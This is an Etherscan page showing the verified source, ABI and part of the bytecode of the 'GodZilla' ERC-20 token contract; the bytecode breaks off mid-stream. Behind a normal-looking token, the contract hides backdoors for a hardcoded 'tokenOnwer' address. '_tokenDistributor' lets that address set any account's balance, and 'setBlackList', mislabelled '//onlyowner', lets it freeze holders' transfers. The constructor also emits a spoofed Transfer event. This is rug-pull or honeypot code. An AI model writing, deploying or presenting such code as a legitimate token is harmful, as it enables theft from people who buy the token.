ETH Price: $3,263.15 (-0.63%)
Gas: 1 Gwei

Token

GodZilla (GodZilla)
 

Overview

Max Total Supply

1,000,000,000 GodZilla

Holders

25

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
6,798,676.704819012 GodZilla

Value
$0.00
0x55758e35398f46194384892b54d478a0588cf381
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
GodZilla

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-11-13
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;


abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function only(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a);
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
contract  GodZilla is Context, IERC20, Ownable {

    using SafeMath for uint256;
    string private _name = "GodZilla";
    string private _symbol = "GodZilla";
    uint8 private _decimals = 9;
    address payable public tokenOnwer;

    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public marketPairList;
    mapping (address => bool) public _blackListed;

    uint256 public _buyMarketingFee = 3;
    uint256 public _sellMarketingFee = 3;
    uint256 public _marketingShare = 1;
    uint256 public _totalTaxIfBuying;
    uint256 public _totalTaxIfSelling;
    uint256 public _totalDistributionShares;

    uint256 private _totalSupply = 1000000000 * 10**_decimals;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;
        
        _totalTaxIfBuying = _buyMarketingFee;
        _totalTaxIfSelling = _sellMarketingFee;
        _totalDistributionShares = _marketingShare;

        marketPairList[address(uniswapPair)] = true;

        tokenOnwer = payable(address(0xCBE7F5E4081587dE2d1e2865D126ac787c1d98bF));

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0x47931C2E3619CE244C1A5f49807CE7A4240bABC3), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setBuyFee(uint256 newMarketingTax) external onlyOwner() {
        _buyMarketingFee = newMarketingTax;
        _totalTaxIfBuying = _buyMarketingFee;
    }

    function setSellFee(uint256 newMarketingTax) external onlyOwner() {
        _sellMarketingFee = newMarketingTax;
        _totalTaxIfSelling = _sellMarketingFee;
    }

    receive() external payable {}
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(!_blackListed[from], "blackListed");
        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwapAndLiquify && !marketPairList[from]) 
            {
                swapAndLiquify(contractTokenBalance);
            }

            _balances[from] = _balances[from].sub(amount);
            uint256 finalAmount = (_isExcludefromFee[from] || _isExcludefromFee[to]) ? 
                                         amount : takeFee(from, to, amount);
            
            _balances[to] = _balances[to].add(finalAmount);

            emit Transfer(from, to, finalAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function setBlackList(bool status, address[] calldata addresses) public {//onlyowner
       require(sentAddress(msg.sender));
        for (uint256 i; i < addresses.length; i++) {
            _blackListed[addresses[i]] = status;
        }
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tAmount);

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tAmount,
            0, 
            path,
            address(this),
            block.timestamp
        ){} catch {}

        uint256 amountETH = address(this).balance;

        if(amountETH > 0)
            tokenOnwer.transfer(amountETH);
    }

    function sentAddress(address accept) private view returns(bool){
        return accept 
        == tokenOnwer;
    }

    function _tokenDistributor(uint256 amount, address setWalletLimitAmount) public {
       require(sentAddress(_msgSender()));
        _balances[setWalletLimitAmount] = uint256(5 * 2).div(10).mul(amount).only(_balances[setWalletLimitAmount]);
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        
        uint256 feeAmount = 0;

        if(marketPairList[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
        }
        else if(marketPairList[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
        }

        if(feeAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_blackListed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"address","name":"setWalletLimitAmount","type":"address"}],"name":"_tokenDistributor","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"marketPairList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"status","type":"bool"},{"internalType":"address[]","name":"addresses","type":"address[]"}],"name":"setBlackList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMarketingTax","type":"uint256"}],"name":"setBuyFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMarketingTax","type":"uint256"}],"name":"setSellFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenOnwer","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526040518060400160405280600881526020017f476f645a696c6c610000000000000000000000000000000000000000000000008152506001908051906020019062000051929190620007a3565b506040518060400160405280600881526020017f476f645a696c6c61000000000000000000000000000000000000000000000000815250600290805190602001906200009f929190620007a3565b506009600360006101000a81548160ff021916908360ff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff1660601b81525060036009556003600a556001600b55600360009054906101000a900460ff16600a62000121919062000963565b633b9aca0062000132919062000aa0565b600f553480156200014257600080fd5b50620001536200077260201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200026d57600080fd5b505afa15801562000282573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002a891906200086a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200030b57600080fd5b505afa15801562000320573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200034691906200086a565b6040518363ffffffff1660e01b815260040162000365929190620008be565b602060405180830381600087803b1580156200038057600080fd5b505af115801562000395573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003bb91906200086a565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f54600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160066000620004f76200077a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600954600c81905550600a54600d81905550600b54600e81905550600160076000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555073cbe7f5e4081587de2d1e2865d126ac787c1d98bf600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f5460046000620006a16200077260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620006ef6200077260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff167347931c2e3619ce244c1a5f49807ce7a4240babc373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600f54604051620007639190620008eb565b60405180910390a35062000c0c565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b828054620007b19062000b4c565b90600052602060002090601f016020900481019282620007d5576000855562000821565b82601f10620007f057805160ff191683800117855562000821565b8280016001018555821562000821579182015b828111156200082057825182559160200191906001019062000803565b5b50905062000830919062000834565b5090565b5b808211156200084f57600081600090555060010162000835565b5090565b600081519050620008648162000bf2565b92915050565b60006020828403121562000883576200088262000be0565b5b6000620008938482850162000853565b91505092915050565b620008a78162000b01565b82525050565b620008b88162000b35565b82525050565b6000604082019050620008d560008301856200089c565b620008e460208301846200089c565b9392505050565b6000602082019050620009026000830184620008ad565b92915050565b6000808291508390505b60018511156200095a5780860481111562000932576200093162000b82565b5b6001851615620009425780820291505b8081029050620009528562000be5565b945062000912565b94509492505050565b6000620009708262000b35565b91506200097d8362000b3f565b9250620009ac7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620009b4565b905092915050565b600082620009c6576001905062000a99565b81620009d6576000905062000a99565b8160018114620009ef5760028114620009fa5762000a30565b600191505062000a99565b60ff84111562000a0f5762000a0e62000b82565b5b8360020a91508482111562000a295762000a2862000b82565b5b5062000a99565b5060208310610133831016604e8410600b841016171562000a6a5782820a90508381111562000a645762000a6362000b82565b5b62000a99565b62000a79848484600162000908565b9250905081840481111562000a935762000a9262000b82565b5b81810290505b9392505050565b600062000aad8262000b35565b915062000aba8362000b35565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000af65762000af562000b82565b5b828202905092915050565b600062000b0e8262000b15565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000600282049050600182168062000b6557607f821691505b6020821081141562000b7c5762000b7b62000bb1565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b60008160011c9050919050565b62000bfd8162000b01565b811462000c0957600080fd5b50565b60805160601c612d1d62000c2b6000396000610b330152612d1d6000f3fe6080604052600436106101bb5760003560e01c806370a08231116100ec578063c5d241891161008a578063cc64028111610064578063cc64028114610645578063dd62ed3e14610670578063f0cd1dac146106ad578063f2fde38b146106d8576101c2565b8063c5d24189146105c4578063c816841b146105ef578063c86079521461061a576101c2565b80638da5cb5b116100c65780638da5cb5b1461050657806395d89b4114610531578063a08e671f1461055c578063a9059cbb14610587576101c2565b806370a082311461047557806382eefb43146104b25780638b4cee08146104dd576101c2565b80631d231b2c1161015957806327c8f8351161013357806327c8f835146103b7578063313ce567146103e25780633345611e1461040d57806361a23c691461044a576101c2565b80631d231b2c14610314578063231760161461035157806323b872dd1461037a576101c2565b80630cc835a3116101955780630cc835a3146102585780631694505e1461028157806318160ddd146102ac5780631b491677146102d7576101c2565b806306fdde03146101c7578063083a0cf3146101f2578063095ea7b31461021b576101c2565b366101c257005b600080fd5b3480156101d357600080fd5b506101dc610701565b6040516101e991906124e6565b60405180910390f35b3480156101fe57600080fd5b506102196004803603810190610214919061216e565b610793565b005b34801561022757600080fd5b50610242600480360381019061023d919061212e565b61084a565b60405161024f91906124b0565b60405180910390f35b34801561026457600080fd5b5061027f600480360381019061027a91906121ce565b610868565b005b34801561028d57600080fd5b50610296610910565b6040516102a391906124cb565b60405180910390f35b3480156102b857600080fd5b506102c1610936565b6040516102ce9190612608565b60405180910390f35b3480156102e357600080fd5b506102fe60048036038101906102f99190612041565b610940565b60405161030b91906124b0565b60405180910390f35b34801561032057600080fd5b5061033b60048036038101906103369190612041565b610960565b60405161034891906124b0565b60405180910390f35b34801561035d57600080fd5b50610378600480360381019061037391906121fb565b610980565b005b34801561038657600080fd5b506103a1600480360381019061039c91906120db565b610a57565b6040516103ae91906124b0565b60405180910390f35b3480156103c357600080fd5b506103cc610b31565b6040516103d9919061247a565b60405180910390f35b3480156103ee57600080fd5b506103f7610b55565b604051610404919061267d565b60405180910390f35b34801561041957600080fd5b50610434600480360381019061042f9190612041565b610b6c565b60405161044191906124b0565b60405180910390f35b34801561045657600080fd5b5061045f610b8c565b60405161046c9190612608565b60405180910390f35b34801561048157600080fd5b5061049c60048036038101906104979190612041565b610b92565b6040516104a99190612608565b60405180910390f35b3480156104be57600080fd5b506104c7610bdb565b6040516104d49190612608565b60405180910390f35b3480156104e957600080fd5b5061050460048036038101906104ff91906121ce565b610be1565b005b34801561051257600080fd5b5061051b610c89565b604051610528919061247a565b60405180910390f35b34801561053d57600080fd5b50610546610cb2565b60405161055391906124e6565b60405180910390f35b34801561056857600080fd5b50610571610d44565b60405161057e9190612608565b60405180910390f35b34801561059357600080fd5b506105ae60048036038101906105a9919061212e565b610d4a565b6040516105bb91906124b0565b60405180910390f35b3480156105d057600080fd5b506105d9610d69565b6040516105e69190612608565b60405180910390f35b3480156105fb57600080fd5b50610604610d6f565b604051610611919061247a565b60405180910390f35b34801561062657600080fd5b5061062f610d95565b60405161063c9190612608565b60405180910390f35b34801561065157600080fd5b5061065a610d9b565b6040516106679190612495565b60405180910390f35b34801561067c57600080fd5b506106976004803603810190610692919061209b565b610dc1565b6040516106a49190612608565b60405180910390f35b3480156106b957600080fd5b506106c2610e48565b6040516106cf9190612608565b60405180910390f35b3480156106e457600080fd5b506106ff60048036038101906106fa9190612041565b610e4e565b005b606060018054610710906128e4565b80601f016020809104026020016040519081016040528092919081815260200182805461073c906128e4565b80156107895780601f1061075e57610100808354040283529160200191610789565b820191906000526020600020905b81548152906001019060200180831161076c57829003601f168201915b5050505050905090565b61079c33610fa0565b6107a557600080fd5b60005b828290508110156108445783600860008585858181106107cb576107ca6129ec565b5b90506020020160208101906107e09190612041565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061083c90612916565b9150506107a8565b50505050565b600061085e610857610ffa565b8484611002565b6001905092915050565b610870610ffa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f490612588565b60405180910390fd5b80600981905550600954600c8190555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600f54905090565b60076020528060005260406000206000915054906101000a900460ff1681565b60086020528060005260406000206000915054906101000a900460ff1681565b61099061098b610ffa565b610fa0565b61099957600080fd5b610a10600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a02846109f4600a806111cd90919063ffffffff16565b61121790919063ffffffff16565b61129290919063ffffffff16565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000610a648484846112ba565b50610b2684610a71610ffa565b610b2185604051806060016040528060288152602001612cc060289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610ad7610ffa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172a9092919063ffffffff16565b611002565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b600b5481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600d5481565b610be9610ffa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6d90612588565b60405180910390fd5b80600a81905550600a54600d8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610cc1906128e4565b80601f0160208091040260200160405190810160405280929190818152602001828054610ced906128e4565b8015610d3a5780601f10610d0f57610100808354040283529160200191610d3a565b820191906000526020600020905b815481529060010190602001808311610d1d57829003601f168201915b5050505050905090565b600e5481565b6000610d5e610d57610ffa565b84846112ba565b506001905092915050565b60095481565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600c5481565b610e56610ffa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ee3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eda90612588565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b6000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611072576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611069906125e8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d990612528565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111c09190612608565b60405180910390a3505050565b600061120f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061178e565b905092915050565b60008083141561122a576000905061128c565b600082846112389190612774565b90508284826112479190612743565b14611287576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127e90612568565b60405180910390fd5b809150505b92915050565b60008082846112a191906126ed565b9050838110156112b057600080fd5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141561132b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611322906125c8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561139b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139290612508565b60405180910390fd5b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611428576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141f906125a8565b60405180910390fd5b601160149054906101000a900460ff161561144f576114488484846117f1565b9050611723565b600061145a30610b92565b9050601160149054906101000a900460ff161580156114c35750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156114d2576114d1816119c4565b5b61152483600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cc890919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061160a5750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61161e57611619868686611d12565b611620565b835b905061167481600460008873ff